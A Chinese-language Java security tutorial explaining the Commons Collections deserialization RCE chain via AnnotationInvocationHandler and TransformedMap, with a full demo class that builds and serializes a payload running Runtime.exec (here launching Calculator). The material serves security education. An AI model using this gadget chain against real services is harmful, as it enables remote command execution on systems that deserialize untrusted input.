sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。
AnnotationInvocationHandler代码片段:
package sun.reflect.annotation;class AnnotationInvocationHandler implements InvocationHandler, Serializable {AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {// 省去代码部分}// Java动态代理的invoke方法public Object invoke(Object var1, Method var2, Object[] var3) {// 省去代码部分}private void readObject(ObjectInputStream var1) {// 省去代码部分}}
readObject方法:
**
上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。
既然利用AnnotationInvocationHandler类我们可以实现反序列化RCE,那么在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务,对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。
创建AnnotationInvocationHandler对象:
因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象:
// 创建Map对象Map map = new HashMap();// map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名,比如创建// AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map// 的key必须是@Target注解中的方法名,即:value,否则在反序列化AnnotationInvocationHandler// 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。map.put("value", "value");// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象Map transformedMap = TransformedMap.decorate(map, null, transformedChain);// 获取AnnotationInvocationHandler类对象Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取AnnotationInvocationHandler类的构造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 设置构造方法的访问权限constructor.setAccessible(true);// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);Object instance = constructor.newInstance(Target.class, transformedMap);
instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象,我们只需要将这个instance序列化后就可以得到用于攻击的payload了。
完整的攻击示例Demo:
package com.anbai.sec.serializes;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.Arrays;import java.util.HashMap;import java.util.Map;/*** Creator: yz* Date: 2019/12/16*/public class CommonsCollectionsTest {public static void main(String[] args) {String cmd = "open -a Calculator.app";Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})};// 创建ChainedTransformer调用链对象Transformer transformedChain = new ChainedTransformer(transformers);// 创建Map对象Map map = new HashMap();map.put("value", "value");// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象Map transformedMap = TransformedMap.decorate(map, null, transformedChain);// // 遍历Map元素,并调用setValue方法// for (Object obj : transformedMap.entrySet()) {// Map.Entry entry = (Map.Entry) obj;//// // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链// entry.setValue("test");// }////// transformedMap.put("v1", "v2");// 执行put也会触发transformtry {// 获取AnnotationInvocationHandler类对象Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取AnnotationInvocationHandler类的构造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 设置构造方法的访问权限constructor.setAccessible(true);// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);Object instance = constructor.newInstance(Target.class, transformedMap);// 创建用于存储payload的二进制输出流对象ByteArrayOutputStream baos = new ByteArrayOutputStream();// 创建Java对象序列化输出流对象ObjectOutputStream out = new ObjectOutputStream(baos);// 序列化AnnotationInvocationHandler类out.writeObject(instance);out.flush();out.close();// 获取序列化的二进制数组byte[] bytes = baos.toByteArray();// 输出序列化的二进制数组System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作ByteArrayInputStream bais = new ByteArrayInputStream(bytes);// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象ObjectInputStream in = new ObjectInputStream(bais);// 模拟远程的反序列化过程in.readObject();// 关闭ObjectInputStream输入流in.close();} catch (Exception e) {e.printStackTrace();}}}
反序列化RCE调用链如下:
ObjectInputStream.readObject()->AnnotationInvocationHandler.readObject()->TransformedMap.entrySet().iterator().next().setValue()->TransformedMap.checkSetValue()->TransformedMap.transform()->ChainedTransformer.transform()->ConstantTransformer.transform()->InvokerTransformer.transform()->Method.invoke()->Class.getMethod()->InvokerTransformer.transform()->Method.invoke()->Runtime.getRuntime()->InvokerTransformer.transform()->Method.invoke()->Runtime.exec()
Apache Commons Collections漏洞利用方式也不仅仅只有本节所讲解的利用AnnotationInvocationHandler触发TransformedMap构建调用链的这一种方式,ysoserial还提供了多种基于InstantiateTransformer/InvokerTransformer构建调用链方式:LazyMap、PriorityQueue、BadAttributeValueExpException、HashSet、Hashtable。
